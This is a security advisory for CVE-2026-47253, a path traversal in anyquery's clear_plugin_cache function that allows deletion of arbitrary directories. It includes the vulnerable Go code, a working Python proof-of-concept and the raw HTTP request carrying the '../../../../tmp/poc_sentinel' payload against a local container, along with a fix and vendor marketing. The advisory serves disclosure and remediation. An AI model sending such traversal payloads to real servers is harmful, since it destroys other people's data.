CVE-2026-47253

CVE-2026-47253 is a high-severity path traversal vulnerability in github.com/julien040/anyquery (go), affecting versions <= 0.4.4. It is fixed in 0.4.5.

Summary

Path Traversal in clear_plugin_cache Allows Arbitrary Directory Deletion

Field Value
Repository julien040/anyquery
Affected version 0.4.4
Vulnerability CWE-22, Improper Limitation of a Pathname to a Restricted Directory
Severity High

The SQL scalar function clear_plugin_cache(plugin) in namespace/other_functions.go passes the caller-supplied plugin argument directly to path.Join and then to os.RemoveAll, with only an empty-string check as a guard. Because path.Join silently resolves .. segments, a low-privileged bearer-token holder can submit SELECT clear_plugin_cache('../../../../tmp/target') to the /v1/query HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside $XDG_CACHE_HOME/anyquery/plugins/ was successfully deleted, confirming full path-traversal exploitation.

Affected Code

namespace/other_functions.go:46, pathlib.Join resolves .. segments in attacker-controlled plugin, producing a path outside the cache root

namespace/other_functions.go:53, os.RemoveAll unconditionally deletes the traversed path

func clear_plugin_cache(plugin string) string {
	pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)

	if plugin == "" {
		return "The plugin name is empty"
	}

	// Remove the directory
	err := os.RemoveAll(pathToRemove)
	if err != nil {
		return err.Error()
	}

	return ""
}

HTTP JSON body.QueryexecuteQueryLLM (controller/llm.go:420-426) → shell.Run → SQLite clear_plugin_cache(plugin)pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) at other_functions.go:46os.RemoveAll at other_functions.go:53

Proof of Concept

Prerequisites:

  • Docker installed
  • Python 3 with requests package (pip install requests)

Step 1, Build and start the vulnerable service:

docker build -f Dockerfile -t anyquery-vuln002 .
docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002

Step 2, Run the PoC script (separate terminal):

python3 poc.py

poc.py:

#!/usr/bin/env python3
"""PoC reproduction script, julien040/anyquery / VULN-002

Prerequisites:
    - Docker image built: docker build -f Dockerfile -t anyquery-vuln002 .
    - Container running:  docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002
    - Python packages: requests (stdlib subprocess also used)

How to run (from this report directory, after Dockerfile service is up):
    python3 poc.py

Expected on success:
    Final stdout line begins with `RESULT: PASS` confirming that the sentinel
    directory outside the cache root was deleted via clear_plugin_cache path traversal.
"""

import subprocess
import sys
import json
import requests

BASE_URL = "http://127.0.0.1:8070"
CONTAINER = "anyquery-vuln002"
# Traversal payload: XDG_CACHE_HOME=/root/.cache, so
# path.Join("/root/.cache","anyquery","plugins","../../../../tmp/poc_sentinel")
# resolves to /tmp/poc_sentinel (4 levels up escapes the cache root).
TRAVERSAL_PLUGIN = "../../../../tmp/poc_sentinel"
SENTINEL_PATH = "/tmp/poc_sentinel"
QUERY = f"SELECT clear_plugin_cache('{TRAVERSAL_PLUGIN}')"


def docker_exec(cmd):
    result = subprocess.run(
        ["docker", "exec", CONTAINER] + cmd,
        capture_output=True, text=True
    )
    return result.returncode, result.stdout, result.stderr


def sentinel_exists():
    rc, _, _ = docker_exec(["test", "-d", SENTINEL_PATH])
    return rc == 0


# Step 1: create sentinel inside container
print(f"[1] Creating sentinel directory {SENTINEL_PATH} inside container...")
rc, out, err = docker_exec(["mkdir", "-p", SENTINEL_PATH])
if rc != 0:
    sys.exit(f"RESULT: FAIL, could not create sentinel: {err}")
if not sentinel_exists():
    sys.exit("RESULT: FAIL, sentinel not present after mkdir")
print(f"    Sentinel created: {SENTINEL_PATH}")

# Step 2: confirm server is reachable
print("[2] Confirming server is reachable...")
try:
    r = requests.get(f"{BASE_URL}/list-tables", timeout=5)
    assert r.status_code == 200, f"unexpected status {r.status_code}"
    print(f"    GET /list-tables → HTTP {r.status_code} OK")
except Exception as e:
    sys.exit(f"RESULT: FAIL, server not reachable: {e}")

# Step 3: send traversal request
print("[3] Sending path-traversal payload via POST /execute-query...")
payload = {"query": QUERY}
r = requests.post(
    f"{BASE_URL}/execute-query",
    headers={"Content-Type": "application/json"},
    data=json.dumps(payload),
    timeout=10,
)
print(f"    HTTP {r.status_code}")
print(f"    Body: {r.text.strip()}")

if r.status_code != 200:
    sys.exit(f"RESULT: FAIL, unexpected HTTP status {r.status_code}")

# Step 4: verify sentinel is gone
print("[4] Checking whether sentinel was deleted inside container...")
if sentinel_exists():
    print(f"    Sentinel still present, traversal did not delete it.")
    print(f"RESULT: FAIL, {SENTINEL_PATH} still exists after traversal request")
else:
    print(f"    Sentinel GONE, {SENTINEL_PATH} deleted outside cache root.")
    print(f"RESULT: PASS, clear_plugin_cache('{TRAVERSAL_PLUGIN}') deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)")

HTTP request:

POST /execute-query HTTP/1.1
Host: 127.0.0.1:8070
Content-Type: application/json

{"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"}

Output:

[1] Creating sentinel directory /tmp/poc_sentinel inside container...
    Sentinel created: /tmp/poc_sentinel
[2] Confirming server is reachable...
    GET /list-tables → HTTP 200 OK
[3] Sending path-traversal payload via POST /execute-query...
    HTTP 200
    Body: +----------------------------------------------------+
| clear_plugin_cache('../../../../tmp/poc_sentinel') |
+----------------------------------------------------+
|                                                    |
+----------------------------------------------------+
1 results
[4] Checking whether sentinel was deleted inside container...
    Sentinel GONE, /tmp/poc_sentinel deleted outside cache root.
RESULT: PASS, clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)

Impact

An authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a ..-traversing plugin name to clear_plugin_cache. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary ($XDG_CACHE_HOME/anyquery/plugins/). In a realistic deployment, an attacker could target configuration directories, application data, or the user's home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-47253 has a CVSS score of 7.3 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.5); upgrading removes the vulnerable code path.

Affected versions

github.com/julien040/anyquery (<= 0.4.4)

Security releases

github.com/julien040/anyquery → 0.4.5 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

In namespace/other_functions.go, resolve the full path and confirm it shares the expected cache-root prefix before calling os.RemoveAll:

func clear_plugin_cache(plugin string) string {
    if plugin == "" {
        return "The plugin name is empty"
    }
    cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins")
    pathToRemove := pathlib.Join(cacheRoot, plugin)
    rel, err := filepath.Rel(cacheRoot, pathToRemove)
    if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
        return "Invalid plugin name"
    }
    if err := os.RemoveAll(pathToRemove); err != nil {
        return err.Error()
    }
    return ""
}

As a defence-in-depth measure, also reject plugin values containing /, \, or a leading . at the input level before the path.Join call, so traversal sequences are blocked at the earliest opportunity.

Frequently Asked Questions

  1. What is CVE-2026-47253? CVE-2026-47253 is a high-severity path traversal vulnerability in github.com/julien040/anyquery (go), affecting versions <= 0.4.4. It is fixed in 0.4.5. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-47253? CVE-2026-47253 has a CVSS score of 7.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/julien040/anyquery are affected by CVE-2026-47253? github.com/julien040/anyquery (go) versions <= 0.4.4 is affected.
  4. Is there a fix for CVE-2026-47253? Yes. CVE-2026-47253 is fixed in 0.4.5. Upgrade to this version or later.
  5. Is CVE-2026-47253 exploitable, and should I be worried? Whether CVE-2026-47253 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-47253 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-47253? Upgrade github.com/julien040/anyquery to 0.4.5 or later.

Other vulnerabilities in github.com/julien040/anyquery

Stop the waste.
Protect your environment with Kodem.